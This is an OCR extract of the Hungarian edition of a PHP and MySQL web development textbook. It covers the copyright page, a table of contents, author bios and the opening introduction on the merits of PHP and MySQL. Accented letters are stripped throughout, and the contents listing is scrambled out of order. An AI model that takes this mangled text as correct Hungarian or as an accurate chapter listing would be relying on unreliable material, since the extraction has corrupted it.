Professional Documents
Culture Documents
PHP Es MySQL Webfejlesztoknek 2010 eBOOk digIT PDF
PHP Es MySQL Webfejlesztoknek 2010 eBOOk digIT PDF
webfejlesztknek
Hogyan ptsnk webru hzat?
Lu ke Weiling
Laura Thomsan
ISBN 978-963-9929-13-5
A knyv eredeti cme: PHP and MySQL Web Development, 4th Edition
A magyar kiadsrt felels a Perfact-Pro Kft.
Authorized translation from the English Language edition, entided PHP and MySQL Web Development, 4th Edition
0672329166, by W ELLING, LUKE; T HOMSON, LAURA, published by Pearson Education, Inc. publishing as Addison
Wesley Professional, Copyright 2009 Addison-Wesley.
Ali rights reserverd. No part of this book may be reproduced or transmitted in any form or by any means, electronic or
mechanical, indudig photocopying, recording or by any information starage retrieval system, without pertnission from Pearson
Education, Inc. HUNGARIAN language edition published by Perfact-Pro Kft., Copyright 2010 Perfact-Pro Kft.
Brmilyen msols, sokszorosts, illetve adatfeldolgoz rendszerben trtn trols a kiad elzetes rsbeli hozzjrulsa
nlkl tilos. Az itt kzlt informcik kizrlag az olvas szemlyes hasznlatra kszltek. Jelen m felhasznlsa ms kny
vekben, kereskedelmi szoftverekben, adatbzisokban csak a kiad elzetes rsbeli hozzjrulsval lehetsges.
A szerz s a kiad a tle elvrhat legnagyobb gondossggal jrt el a knyv s a prograrnek ksztse sorn. A knyvben, illet
ve a programokban tallhat esetleges hibkrt, hasznlatukbl ered esetleges krokrt sem a szerz, sem a kiad nem vllal
semminem felelssget.
www
Tarralern
Tartalom
Bevezets
Vltoz vltozk
21
21
Vltozk hatkre
22
Mi a PHP?
22
Mi a MySQL?
23
23
23
25
26
Bitmveleti jelek
26
Tmogats elrhetsge
27
28
Vgezetl
I. rsz
A PHP hasznlata
l. fejezet
a csoportosthatsg
29
30
30
31
Vltozk tpuskonverzija
31
31
PHP gyorstalpal
ll
Kdblokkok
32
ll
34
12
35
12
37
Az rlap feldolgozsa
13
38
13
38
PHP cmkk
14
Hogyan tovbb?
38
PHP utastsok
15
Fehrkz karakterek
15
2. fejezet
Megjegyzsek
15
39
16
39
Fggvnyhvsok
16
39
A da te ( ) fggvny hasznlata
17
Fjlok feldolgozsa
40
Az rlapvltozk elrse
17
Fjl megnyitsa
40
17
40
Karakterlncok sszefzse
19
41
Vltozk s literlok
19
42
Az azonostk
20
43
Vltoztpusok
20
Fjlba rs
44
A PHP adattpusai
20
44
Tpuserssg foka
20
Fjlformtumok
44
Tpusknyszerts
21
Fjl bezrsa
45
III
IV
Tartalom
Olvass fjlbl
47
48
48
( ) s p rev() fggvny
69
69
walk()
48
70
49
70
49
Tovbbi olvasnival
71
50
Hogyan tovbb?
71
50
count_values
50
4.
50
50
50
Karakterlncok formzsa
Fjlok zrolsa
51
52
fejezet
rlap
73
75
fggvny
75
52
Tovbbi olvasnival
53
Hogyan tovbb?
53
73
addslashes ()
s stripslashes () fggvny
75
78
79
fejezet
hasznlata
79
Tmbk hasznlata
55
79
55
80
56
Karakterlncok sszehasonltsa
80
56
56
57
57
Tmb inicializlsa
57
Tmbelemek elrse
57
Ciklusok hasznlata
58
Tmbmveleti jelek
59
strchr (),strrchr
Tbbdimenzis tmbk
59
stristr
Tmbk rendezse
62
62
strcasecmp ( )
s strnatcmp() fggvny
az
80
strlen ()
fggvnnyel
81
81
() fggvny
82
82
fggvnyekkel
62
Fordtott rendezs
63
83
63
Az alapok
84
63
Karakterkszletek s -osztlyok
84
64
Ismtlds
85
Tmbk trendezse
64
Rszkifejezsek
85
65
Szmolt rszkifejezsek
85
66
85
66
gaztats
86
68
86
replace() fggvny
83
Tartalom
86
Osztlypldnyok ltrehozsa
110
87
Osztlyattribtumok hasznlata
110
87
88
88
Osztlymetdusok hvsa
112
Tovbbi olvasnival
88
113
Hogyan tovbb?
88
kulcsszval
s a proteeted kulcsszval
Fellrs
5. fejezet
112
113
114
89
89
Kltsg
89
A tbbszrs rklds
Megbzhatsg
89
Interfszek megvalstsa
116
Egysgessg
90
Osztlytervezs
117
kulcsszval
115
116
90
117
90
124
91
124
124
95
125
96
125
Fggvnyhvs
96
Objektumok klnozsa
126
97
126
Az auto_prepend_file s
az
auto_append_file
bellts hasznlata
97
metdussal
126
97
127
Fggvnyek alapszerkezete
98
127
Fggvnyeink elnevezse
98
129
Paramterek hasznlata
99
129
Hogyan tovbb?
130
A hatkr fogalma
100
102
103
7. fejezet
rtkvisszaads fggvnyekbl
103
Hiba- s kivtelkezels
131
Rekurzi megvalstsa
104
Kivtelkezelsi fogalmak
131
Nvterek
105
Az Exception osztly
132
Tovbbi olvasnival
105
133
Hogyan tovbb?
106
6. fejezet
Objektumorientlt PHP
107
138
Tovbbi olvasnival
138
Hogyan tovbb?
138
107
Osztlyok s objektumok
107
II. rsz
Tbbalaksg
108
A MySQL hasznlata
rklds
108
139
8. fejezet
141
Osztlyszerkezet
109
141
Konstruktorok
109
Tblk
141
Destruktorok
110
Oszlopok
142
PHP-ben
VI
Tartalom
Sorok
142
10. fejezet
rtkek
142
165
Kulcsok
142
Mi az SQL?
165
Smk
143
165
Kapcsolatok
143
167
144
168
169
144
173
144
173
145
175
146
175
177
146
177
179
146
Tblk trlse
179
Tblatpusok sszefoglalsa
147
179
147
Tovbbi olvasnival
179
Tovbbi olvasnival
148
Hogyan tovbb?
179
Hogyan tovbb?
148
kialaktst!
ll. fejezet
9. fejezet
181
149
181
150
184
Bejelentkezs MySQL-be
150
184
151
Kapcsolat ltrehozsa
184
151
185
151
Az adatbzis lekrdezse
185
151
186
151
187
152
187
A REVOKE parancs
154
189
154
190
155
155
Tovbbi olvasnival
192
Adatbzistblk ltrehozsa
156
Hogyan tovbb?
192
157
Az oszloptpusok
157
159
12. fejezet
Halad MySQL-adminisztrci
193
193
Indexek ltrehozsa
159
A user tbla
194
MySQL azonostk
160
A db s a host tbla
195
160
Numerikus tpusok
160
Dtum s id tpusok
162
Karakterlnc-tpusok
162
Tovbbi olvasnival
164
Hogyan tovbb?
164
procs_priv tbla
196
197
197
198
198
Tartalom
Jelszavak
198
Felhasznli jogosultsgok
198
felvtele
Webes krdsek
199
199
199
szolgltatsokhoz
223
226
226
Kltsgcskkents
227
227
Crackerek
227
201
228
Adatbzisunk optimalizlsa
205
Szmtgpes hardverhibk
228
Optimlisra tervezs
205
228
Jogosultsgok
205
Ers verseny
228
Tblaoptimalizls
205
Szaftverhibk
228
lndexek hasznlata
205
229
205
Rendszer-kapacitsbeli korltok
229
Tovbbi tippek
205
229
206
Kvetkez lpsek
229
206
Replikci megvalstsa
206
15. fejezet
207
231
207
231
208
Biztonsgi fenyegetsek
232
Tovbbi olvasnival
208
232
Hogyan tovbb?
208
233
Adatmdosts
234
234
EXPLAIN utastssal
13. fejezet
Halad MySQL-programozs
209
Szaftverhibk
235
209
Le tagads
235
Trolmotorok
209
236
Tranzakcik
210
236
210
237
A titkosts alapjai
238
Kls kulcsok
211
239
Trolt eljrsok
212
239
Alapplda
212
Digitlis alrsok
239
Helyi vltozk
214
Digitlis tanstvnyok
240
214
Biztonsgos webszerverek
240
Tovbbi olvasnival
217
Auditls s naplzs
241
Hogyan tovbb?
217
Tzfalak
242
242
242
III. rsz
E-kereskedelem s biztonsg
219
14. fejezet
E-kereskedelmi honlap zemeltetse
221
Mi a clunk?
221
221
222
242
Fizikai biztonsg
242
Hogyan tovbb?
243
16. fejezet
Webes alkalmazsok biztonsga
245
Biztonsgkezelsi stratgik
245
245
VII
VIII
Tartalom
17. fejezet
245
265
Biztonsgi felgyelet
246
Ltogatk azonostsa
265
Alapvet megkzeltsnk
246
Hozzfrs-szablyozs megvalstsa
266
246
Jelszavak trolsa
267
246
Jelszavak titkostsa
269
247
270
247
270
Rosszindulat kd befecskendezse
247
Feltrt szerver
248
271
.
248
275
Crackerek
248
275
248
275
Elgedetlen alkalmazottak
248
276
Hardvertolvajok
248
Tovbbi olvasnival
276
Sajt magunk
248
Hogyan tovbb?
276
249
249
18. fejezet
252
Kdjaink szervezse
253
MySQL-lel
Mi kerl a kdunkba?
254
277
A felhasznl gpe
278
254
Az internet
278
255
Sajt rendszernk
279
255
280
256
282
256
282
257
Hitelkrtyaadatok trolsa
283
A webszerver konfigurlsa
258
283
A GPG teleptse
283
258
A GPG tesztelse
285
Az adatbzisszerverek biztonsga
259
Tovbbi olvasnival
289
259
Hogyan tovbb?
289
Adatklds a szerverre
260
Kapcsolds a szerverhez
260
IV. rsz
A kiszolgl futtatsa
260
Halad PHP-mdszerek
A hlzat vdelme
261
Tzfalak teleptse
261
19. fejezet
DMZ hasznlata
261
293
262
Fjlfeltlts
293
262
A fjlfeltlts HT ML kdja
294
262
295
262
298
263
Knyvtrfggvnyek hasznlata
298
263
Olvass knyvtrakbl
298
Hogyan tovbb?
263
301
ex ee
parancs
277
291
301
A fjlrendszer elrse
302
Fjlinformcik gyjtse
302
Tartalom
Fjltulajdonsgok mdostsa
304
334
304
335
304
Erforrsok felszabadtsa
335
oldalakon
336
Tovbbi olvasnival
306
336
Hogyan tovbb?
306
A rajzvszon belltsa
338
339
20. fejezet
Hlzati s protokollfggvnyek hasznlata
307
A szveg elhelyezse
341
341
307
Befejezs
341
307
342
308
348
310
Tovbbi olvasnival
348
313
Hogyan tovbb?
348
23. fejezet
313
Fjlfeltlts
318
Munkamenet-vezrls PHP-ben
349
Idtllps elkerlse
318
Mi a munkamenet-vezrls?
349
318
A munkamenet alapjai
349
Tovbbi olvasnival
319
Mi a sti?
349
Hogyan tovbb?
319
350
350
Munkamenet-azonost trolsa
350
21. fejezet
Dtum s id kezelse
321
351
321
Munkamenet indtsa
351
321
351
Unix-idblyegek kezelse
322
Munkamenet-vltozk hasznlata
351
323
351
324
352
Idblyegek formzsa
324
Munkamenet-vezrls konfigurlsa
353
326
Hitelests munkamenet-vezrlssel
354
327
Tovbbi olvasnival
359
328
Hogyan tovbb?
359
Mkroszekundumok hasznlata
329
Naptrfggvnyek hasznlata
329
24. fejezet
Tovbbi olvasnival
329
361
Hogyan tovbb?
329
361
22. fejezet
361
362
Kpek elllitsa
331
Informcigyjts a PHP-krnyezetrl
363
331
363
Kpformtumok
332
A kd tulajdonosnak azonostsa
363
JPEG
332
363
PNG
332
364
WBMP
332
Forrskd szinkiemelse
364
GIF
332
365
Kpek ltrehozsa
333
Hogyan tovbb?
365
Rajzvszon ltrehozsa
333
IX
Tartalom
Az adatbzis ltrehozsa
394
A nyitoldal ltrehozsa
395
396
Felhasznlk regisztrlsa
397
Bejelentkezs
401
Kijelentkezs
404
Jelszvltoztats
405
407
370
411
Kd tbbszri felhasznlsa
370
Knyvjelzk hozzadsa
411
Kezelhet kd rsa
371
Knyvjelzk megjelentse
413
Programozsi szablyok
371
Knyvjelzk trlse
414
373
Knyvjelzk ajnlsa
416
373
418
Hogyan tovbb?
418
V. rsz
Gyakorlati PHP s MySQL projektek fejlesztse
367
25. fejezet
A PHP s a MySQL hasznlata nagyobb projektekben
369
369
374
Verzikvets megvalstsa
374
A fejlesztkrnyezet kivlasztsa
375
419
Projektjeink dokumentlsa
375
A megolds alkotelemei
419
Prototpuskszts
375
419
376
Kdoptimalizls
376
376
420
28. fejezet
419
377
420
Tesztels
377
A megolds ttekintse
420
Tovbbi olvasnival
378
Az adatbzis ltrehozsa
423
Hogyan tovbb?
378
425
Kategrik listzsa
426
428
26. fejezet
Hibakeress
379
430
Programozsi hibk
379
431
Szintaktikai hibk
379
A kosar_megjelenitese.php kd hasznlata
431
Futsidej hibk
380
A kosr megjelentse
433
Logikai hibk
384
435
385
437
Hibajelentsi szintek
387
437
388
A pnztrnl
438
389
A fizets feldolgozsa
442
389
444
Hogyan tovbb?
390
A projekt tovbbfejlesztse
450
450
Hogyan tovbb?
450
27. fejezet
Felhasznli hitelests megvalstsa s szemlyre
29. fejezet
391
A megolds alkotelemei
391
451
391
A megolds alkotelemei
451
A knyvjelzk trolsa
392
Knyvjelzk ajnlsa
392
A megolds ttekintse
392
sszehasonltsa
POP3 s !MAP tmogatsa PHP-ben
451
451
Tartalom
A megolds ttekintse
452
31. fejezet
Az adatbzis ltrehozsa
454
A kd architektrjnak vizsglata
455
517
Be- s kijelentkezs
460
A megolds alkotelemei
517
462
A megolds ttekintse
518
463
Az adatbzis megtervezse
519
464
521
464
Kibonts s sszecsuks
523
Levl olvassa
465
A hozzszlsok megjelentse
525
Postafik kivlasztsa
465
526
467
530
Levlzenet olvassa
469
j hozzszls rsa
532
zenetfejlcek megjelentse
472
A projekt tovbbfejlesztse
538
zenet trlse
472
538
Levlklds
473
Hogyan tovbb?
538
cs
517
j zenet kldse
473
474
32. fejezet
A projekt tovbbfejlesztse
476
539
Hogyan tovbb?
476
A projekt ttekintse
539
Dokumentumformtumok sszehasonltsa
539
A megolds alkotelemei
542
30. fejezet
Levelezlista-kezel alkalmazs fejlesztse
477
Vizsgztatrendszer
542
A megolds alkotelemei
477
A dokumentum-elllt szoftver
542
A megolds ttekintse
544
478
A tesztkrdsek lekrdezse
545
Hrlevelek feltltse
478
A vlaszok rtkelse
546
478
548
A megolds ttekintse
478
550
Az adatbzis ltrehozsa
480
553
A kd architektrjnak meghatrozsa
482
553
A bejelentkezs megvalstsa
488
556
488
562
Bejelentkezs
490
A projekt tovbbfejlesztse
562
492
Hogyan tovbb?
562
Levelezlistk megtekintse
493
Listainformcik megjelentse
496
33. fejezet
498
Fel- s leiratkozs
499
500
Jelszavak megvltoztatsa
500
Kijelentkezs
502
Ismerkeds az XML-lel
564
502
Web Services
566
j levelezlista ltrehozsa
503
A megolds alkotelemei
567
j hrlevl feltltse
504
567
506
568
510
568
A hrlevl kikldse
511
Gyorsttrazs
568
A projekt tovbbfejlesztse
515
A megolds ttekintse
568
Hogyan tovbb?
515
Az alkalmazs magja
571
563
563
XI
XII
Tartalom
576
578
585
591
609
Tovbbi informci
618
618
618
Ajax-fejleszti weboldalak
619
592
594
A fggelk
Fizets az Amazonnl
597
621
597
621
A projekt tovbbfejlesztse
598
622
Tovbbi olvasnival
598
Forrs teleptse
622
626
34. fejezet
626
Az SSL mkdik?
627
Ajax-programozssal
599
628
Mi az Ajax?
599
600
628
DHTML sX HTML
600
629
601
630
Kliensoldali programozs
601
A PEAR teleptse
631
Szerveroldali programozs
602
632
XML sX SLT
602
Ajax alapok
602
B fggelk
Az XMLHTTPRequest objektum
602
Webes forrsok
633
Kommunikci a szerverrel
604
Forrsok a PHP-rl
633
605
634
606
Forrsok az Apache-rl
634
609
Webfejleszts
635
Tartalom
Szerzk
Laura Thomson vezet szoftvermrnk a Mozilla CorporationnL Korbban az OmniTI
vezetjeknt tevkenykedett. Rendszeresen dolgozik egytt az RMI T Universiry-vel s a Boston Consuleing GrouppaLAl
kalmazorc tudomnyokbl (informatika), illerve informatikai mrnki terleten szerzere egyetemi diplomt. Szabadidejben
szvesen lovagol, rvel az ingyenes s nylt forrskd szoftverek mellett, s nagyon szeret aludni.
Luke Weiling webes fejleszt az OmniTI-nLA nylt forrskd s webes fejlesztsekkel foglalkoz konferencik, gy egye
bek kzte az OSCON, a ZendCon, a MySQLUC, a PHPCon, az OSDC s a LinuxTag rendszeres eladja.Az OmniTI
eltt a webes anatikval foglalkoz Hicwise.com-nl, az adatbzis-fejleszt MySQL AB-nl, illetve fggetlen tancsadknt a
Tangled Web Designnl dolgozort.Alkalmazott tudomnyok (informatika) diplomt szerzerc, s informatikt oktatott a Mel
bourne-i RMI T Universiry-n. Szabadidejben az lmadansgt prblja meg tklyre fejleszteni.
Trsszerzk
Julie C. Meloni a Los Altos-i (Kalifornia) szkhely i2i I nteractive (www.i2ii.com) multimdis vllalat mszaki igazgatja.
Az internet megszletse ta fejleszt webalap alkalmazsokat, s soha nem fogja elfelejteni az els grafikus kezelfellet
bngszt vez izgalmakat. Szmos knyvec s cikket rt a webalap programozsi nyelvek s az adatbzisok tmakrben,
amelyek kzl rdemes megemliteni a Sams Teach Yourself PHP. MySQL, and Apache Ali in One cm kiadvnyt.
Marc Wandschneider szabadsz fejleszt, szerz s elad, aki a vilg szmtalan klnbz pontjn dolgozott mr rdekes
projektekben. Utbbi vekben idejnek nagy rszt arra fordtja, hogy robusztus s sklzhat webes alkalmazsokat fejlesszen.
2005-ben rta Core Web Application Programming with PHP and MySQL cm knyvt. Korbban a SWiK (http:/ /swik.net) nylt
forrs kzssgi oldal vezet fejlesztje volt. Marc jelenleg Pekingben l, ahol a knai nyelvet tri, s programoz.
Ksznetnyilvnts
Szeretnnk ksznetet mondani a Pearson csapatnak kemny munkjrt. Kln ksznjk Shelley Johnstonnak, akinek
ldozatvllalsa s trelme nlkl a knyv els hrom kiadsa nem szlethecett volna meg. s Mark Tabernek, aki a negyedik
kiadsnl tvette Shelley munkjt.
Nagyra rtkeljk a PHP- s MySQL-fejleszti csapatok ltal vgzere munkt. Sok ve knnycik meg a dolgunkat, s gy
lesz ez a jvben is rninden nap.
Ksznjk az eSec-nl dolgoz Adrian Close-nak, arnirt mg 1998-ban azt mondta:.,Ezt meg tudjtok csinlni PHP-ben:'
gy vlte, szeremi fogjuk a PHP-t, s azt kell mondanunk, igaza lett.
Vgezetl szeretnnk ksznetet mondani csaldunknak s bartainknak, akik elviselik antiszocilis viselkedsnket, amg
knyveinken dolgozunk. Kln ksznjk Nektek, hogy segtetek csaldtagjainknak: Julie, Robert, Martin, Lesley, Adam,
Paul, Archer s Barton.
A magyar kiadshoz
A knyv pldinak forrskdja s a mellklecek letlthetk regisztrci utn a www.perfacrkiado.hu/melleklecek oldalrl.
A knyvben hasznlt, jelenleg ingyenes szoftverek szintn letlthetek weboldalunkrl (www.perfacckiado.hu/melleklecek).
rdemes azonban az interneten megkeresni ezen szoftverek frisstseit, jabb verziit s azokat hasznlni.
XIII
Segovia vzvezetke a rmai ptszet egyik legnagyszerbb, a mai napig meglv memlke. Traianus csszr uralkodsa alatt,
az idszmtsunk szerinti els szzadban plt vezetk feladata az volt, hogy vizet szlltson a ma Sierra de Guadarrama n
ven ismert hegy lbtl az onnan mintegy 18 kilomter tvolsgra lv hispniai vrosba, Segoviba.
Az ptmnyt tbb mint hszezer, kzzel vgort grnittmbbl emeltk, s sem cementet, sem kapcsokat nem hasznltak a
tmbk rgztsre. A vzvezetknek a vros kzppontjn thalad, 278 mrer hossz szakasza duplasoros boltvekkel rendel
kezik, amelyek a fldtl 34 mrer magasan futva elegns kpet klcsnznek az urcknak.
A termszet s az ember okozta viszontagsgoknak krezer ve ellenll ptmny az emberi gyessg idrlen pldja: a mai
napig hozzjrul a vros vzellrshoz.
Bevezets
Kszntjk a PHP s
a PHP s a MySQL- napjaink kt legelterjedtebb webfejleszt eszkznek- hasznlata sorn szerzett minden tudsunkat.
A bevezetsben az albbiakrl lesz sz:
Mirt rdemes elolvasni a knyvet?
Mire lesznk kpesek a knyv segtsgve!?
Mi a PHP s a MySQL,s mirt olyan nagyszerek?
Mi vltozott a PHP s a MySQL legutols verziiban?
Hogyan pl fel a knyv?
Vgjunk bele!
B evezets
Webalap levelezalkalmazs
Levelezlista-kezelk
Online frumok
PDF dokumentumok ellltsa
Webszolgltatsok XML-lel s SOAP-pal
Web 2.0-s alkalmazs ltrehozsa Ajaxszal
Ezen projektek rnindegyike a knyvben megtallhat llapotban is mkdik, de termszetesen egyni ignyeinknek meg
felelen mdosthatk. Azrt ezekre esett a vlasztsunk, mert meglrsunk szerint ezek tartoznak a programozk ltal leg
gyakrabban fejlesztert webes alkalmazsok kz. A knyv ugyanakkor ezektl eltr ignyek esetn is nagy segtsget jelenther
cljaink elrsben.
MiaPHP
A PHP kifejezetten az internetre kifejlesztett, szerveroldali szkriptnyelv. A HTML oldalakba az oldal minden egyes megnyi
tsakor lefut PHP kdot gyazhatunk. A PHP kd rtelmezse a webszerveren trtnik, ami a ltogat ltal megtekinthet
HTML-t vagy egyb kimenetet hoz ltre.
A PHP els verzija 1994-ben kszlt el, s eredetileg egyetlen ember, Rasmus Lerdorf munkja volt. Ms tehetsges
emberek is elkezdtek dolgozni vele, s ngy jelents jrarson ment keresztl, amg elrkeztnk a jelenleg szles krben hasz
nlhat, rett termkhez. 2007. jliusi adatok szerint vilgszerte tbb mint 21 milli domanre teleptertk, s ez a szm igen
gyorsan n. (A PHP terjedsnek aktulis llst a http://www.php.net/usage.php oldalon tekinthetjk meg.)
A PHP nylt forrskd projekt, ami azt jelenti, hogy brki hozzfrher a forrskdhoz, s ingyenesen hasznlhatja, mdo
sthatja, illetve terjesztheti azt.
A PHP erederileg a Personal Home Page (szemlyes honlap) rvidtse volt, de a GNU rekurzv rvidtsnek (GNU=
Gnu's Not Unix, azaz a Gnu nem Unix) elfogadsval egytt ez is megvlrozort, s most a PHP Hypertext Preprocessor (PHP
hiperszveg elfeldolgoz) kifejezs rvidtst jelenti.
A PHP jelenlegi f vltozata az 5-s. Ezt a verzit a nyelv mgtt ll virtulis gp, a Zend motor teljes jrarsa, illetve
a nyelv nhny jelents javtsa jellemzi.
A PHP honlapja a htrp://www.php.net cmen rhet el.
A Zend Technologies weboldala a http://www.zend.com.
MiaMySQU
A MySQL egy nagyon gyors, srabil, relcis adatbzis-kezel rendszer (angol rvidtssel RDBMS). Az adatbzis lehetv
teszi az adatok hatkony trolst, keresst, rendezst s kinyerst. A MySQL kiszolgl az adatokhoz val hozzfrst
szablyozva biztostja, hogy egyidejleg tbben is hasznlhassk az adatokat, gyorsabb hozzfrst knl hozzjuk, s garan
tlja, hogy csak a jogosult Felhasznlk szerezhetnek hozzfrst. Ezrt a MySQL rbbfelhasznls, tbbszl kiszolgl.
Strukturlt lekrdez nyelvet (Structured Query Language- SQL), a szabvnyos adatbzis-lekrdez nyelvet hasznlja.
A MySQL 1996 ta elrhet a nyilvnossg szmra, de fejlesztsi trtnete 1979-ig nylik vissza. A vilg legnpszerbb
nylt forrskd adatbzisa, amely szmtalan alkalommal elnyerte a Linux Journal szaklap "Readers' Choice Award" -jt (Ol
vasink vlasztsa djt).
A MySQL ketts licencelsi rendszerben rhet el. Amennyiben elfogadjuk a nylt forrskd licenc (a GPL) feltteleit, ingye
nesen hasznlhatjuk. Ha MySQL-t tartalmaz nem GPL alkalmazst kvnunk terjeszteni, fizets licencet kell vsrolnunk.
A MySQL honlapja a http://mysql.com cmen rhet el.
Bevezets
Ebben a knyvben alig foglalkozunk a hardverrel, az opercis rendszerekkel vagy a webszerver szaftverveL Nincs r szk
sgnk. A PHP s a MySQL egyik legnagyszerbb tulajdonsga, hogy minden f opercis rendszeren, st a kisebbek kzl is
sok rendszeren hasznlhat.
A PHP kdok nagy rsze megrhat gy, hogy opercis rendszerektl s webszerverektl fggetlenl futtathat legyen.
Egyes PHP fggvnyek az opercis rendszertl fgg fjlrendszerhez ktdnek, m ezeket egyrtelmen megjellik a kzi
knyvekben, s mi is jelezzk, amikor ilyennel dolgozunk.
Akrmilyen hardvert, opercis rendszert s webszervert vlasszunk is, szeriotnk mindenkppen rdemes a PHP s
a MySQL mellett dnteni.
Teljestmny
A PHP nagyon gyors. Mg egyszer, olcs szervert hasznlva is tbb milli letltse szolglhatunk ki naponta. A Zend Technolo
gies (http://www.zend.com) ltal publiklt sszehasonlt adatok alapjn a PHP nagyobb teljestmnyre kpes versenytrsainl.
Sklzhatsg
A PHP-Rasmus Lerdorf szavaival lve-.,megosztott elem nlkli" (shared-nothing) archicektrval rendelkezik. Ez azt
jelenti, hogy hatkonyarr s olcsn, akr belp szint szerverekkel is lehet horizontlisan bvteni.
Adatbzis-integrci
A PHP szmos adatbzisrendszerhez tud natv mdon kapcsoldni. A MySQL-en tlmenen kzvetlenl kapcsoldhatunk
egyebek kztt PostgreSQL, Oracle, dbm, FilePro, DB2, Hyperwave, lnformix, lnterBase s Sybase adatbzisokhoz. A PHP
5-s verzija SQLite nev, beptett SQL fellettel rendelkezik az egyszer fjlokhoz.
Open Database Connectivity Standard (ODBC), vagyis nylt adatbzis-kapcsols hasznlatval brmilyen, ODBC driverrel
rendelkez adatbzishoz kapcsoldhatunk. Sok egyb mellett a Microsoft-termkek tartoznak ide.
A PHP-hoz a natv knyvtrak mellett PHP Database Objects (PDO), azaz egy PHP adatbzis-objektumok nev adatbzis
absztrakcis rteg is tartozik, amely kvetkezetes hozzfrst tesz lehetv, s elsegti a biztonsgos programozsi megoldsok
hasznlatt.
Beptett knyvtrak
Mivel a PHP-t interneten val hasznlatta alaktottk ki, szmtalan beptett fggvnnyel rendelkezik a klnfle, internettel
kapcsolatos feladatok elvgzsre. Mindssze nhny sornyi kdra van szksg ahhoz, hogy menet kzben lltsunk el kpeket,
webes vagy egyb hlzati szolgltatsokhoz kapcsol<ljunk, XML-t rtelmezznk, e-mailt kldjnk, stikkel (cookie-kkal)
dolgozzunk, vagy PDF dokumeorumokat hozzunk ltre.
Bevezets
Kltsg
A PHP ingyenes. Legfrissebb vltozata brmikor letlthet a http:/ /www.php.net oldalrl.
Egyszer megtanulhatsg
A PHP szintaktikja ms programozsi nyelvekre, elsdlegesen a C-re s a Perire pl. Ha mr ismerjk ezeket vagy olyan
C-szer nyelveket, mint a C++ vagy a Java, akkor szinte azonnal eredmnyesen tudjuk hasznlni a PHP-t is.
Hordozhatsg (platformfggetlensg)
A PHP szmtalan opercis rendszeren elrhet. PHP kdot rhatunk olyan ingyenes Unix-szer opercis rendszerekre,
mint a Linux s a FreeBSD, fizets Unix-vltozatokra-pldul Solaris s IRIX rendszerekre-, OS X-re vagy a Microsoft
Windows klnbz vltozataira.
A jl megtt kdok jellemzen mdosts nlkl mkdnek a PHP-t fUttat klnbz rendszereken.
A PHP lehetv teszi az egyszer feladatok egyszer megvalstst. De ugyanilyen knnyen szolglja nagy alkalmazsok
olyan megvalsrst is, amely tervezsi mintkra - pldul Model-View-Controller (MVC) mintra- pl keretrendszer
hasznlatval trtnik.
Forrskd
A PHP forrskdja hozzfrhet. A fizets, zrt forrskd termkekkel ellenttben, ha szeretnnk mdostani valamit
a PHP-n, vagy hozzadnnk valamit a nyelvhez, nyugodtan megtehetjk. Nem kell vrnunk, mg a gyrt megjelenteti a javt
sokat. Attl sem kell tartani, hogy a gyrt felhagy az zlettel, vagy gy dnt, abbahagyja a termk tmogatst.
A tovbbi vltoztatsok kz tartozik egyes kiterjesztsek thelyezse az alaprtelmezett PHP-teleptsbl a PECL knyv
trba, az adatfolyamok jobb tmogatsa s az SQLite hozzadsa.
Bevezets
A knyv rsakor a PHP 5.2-es volt a legjabb vltozat, de mr kzelgett a PHP 5.3. A PHP 5.2 szmos hasznos j funkci
val rendelkezett:
Bizronsgi clokra hasznlhat j beviteli szr
A PHP 5.3
fbb jellemi
Olvashatrunk mr a PHP j fvltozatrl, a PHP 6-rl is. A knyv rsa idejn ez mg nem volt a megjelens kzelben, s
a hosting szolgltatk mg j ideig biztosan nem fogjk tmeges hasznlat cljbl telepteni. Ugyanakkor a PHP 6-os verzi
jba tervezett szmos funkci megtallhat a PHP 5.3-as verzijban is, amely alverzi kzelebb ll az elfogadshoz, s gy
ahhoz is, hogy a hosting szolglratk telepteni kezdjk (ha mi magunk kezeljk a szervernket, akkor termszetesen brme
lyik neknk tetsz verzit relepthetjk).
A kvetkezkben a PHP 5.3 funkcii kzl sorolunk fel nhnyat; a knyv megfelel oldalain tovbbi informcit tallunk
majd velk kapcsolatban:
Nvterek tmogatsa; tovbbi informcirt lsd: http://www. php.net/language.namespaces
Az ind kiterjeszts tmogatsa az alkalmazsok nemzetkziestshez; tovbbi informcirt lsd: http://www.php.net/
manual/ en/intro.ind.php
A phar kirerjeszts tmogatsa beptett PHP tmrt alkalmazs ltrehozsra; tovbbi informcirt lsd: hrtp:/l
www.php.net/book.phar
A lileinfo kiterjeszts tmogatsa a jobb fjlkezels rdekben; tovbbi informcirt lsd: http://www.php.net/manual/
en/book.lileinfo.php
A sqlire3 kirerjeszts tmogatsa a SQLite begyazhat SQL adatbzismoror hasznlathoz; tovbbi informcirt
lsd: http://www.php.net/ manual/en/class.sqlire3.php
A libmysql-t felvlt MySQLnd driver tmogatsa; tovbbi informci: http://forge.mysql.com/wiki/PHP_MYSQLND
A fenti lista a PHP 5.3 szlesebb krben ismert j funkciit tartalmazza, ugyanakkor a verzi a mr korbban is meglv
funkcikon vgzett szmos hibajavtssal, karbantartssal, frisstssei is bszklkedhet:
A Windows 2000-nl rgebbi Windows-verzik (pldul Windows 98 and NT 4) tmogatsnak megszntetse
A PCRE, Reflection s SPL kiterjeszts lland elrhetsgnek biztostsa
A dtumokkal val szmolst s a dtumkezelst megknnyt dtum- s idfggvnyek hozzadsa
A crypt(), hash() s md5() funkci mkdsnek, illetve az OpenSSL kirerjesztsnek a tovbbfejlesztse
A php.ini adminisztrlsnak s kezelsnek fejlesztse, egyebek kzte jobb hibajelentsekkel
A Zend motor finomhangolsnak folytatsa a gyorsabb PHP-futsi sebessg s memriahasznlar rdekben
Teljestmny
A MySQL vitathatatlanul gyors. A fejlesztk benchmark- azaz viszonyrsi rtkeket mutat- oldalt a http://mysql.com/
why-mysql/benchmarks cmen rhetjk el. Az rtkek nagy rsze azt mutatja, hogy a MySQL nagysgrendekkel gyorsabb
versenyrrsainl. 2002-ben az eWeek ugyanazt a webes alkalmazst hasznlva sszehasonltott t adatbzist. Az eredmny
dntetlen lett a MySQL s a nla sokkal drgbb Oracle kztt.
Bevezers
Alacsony kltsg
A MySQL nylt forrskd licenccel ingyenesen, kereskedelmi licenccel pedig alacsony ron hasznlhat. Amennyiben
a MySQL-r valamely alkalmazs rszeknt s nem Open Source licenccel szeretnnk terjeszteni, akkor fizets licencre van
szksgnk.Ha nem kvnjuk alkalmazsunkat terjeszteni - s a webes alkalmazsok tbbsgvel ez a helyzet -, illetleg in
gyenes vagy nylt forrskd szoftveren dolgozunk, nem szksges licencet vsrolnunk.
Egyszer hasznlhatsg
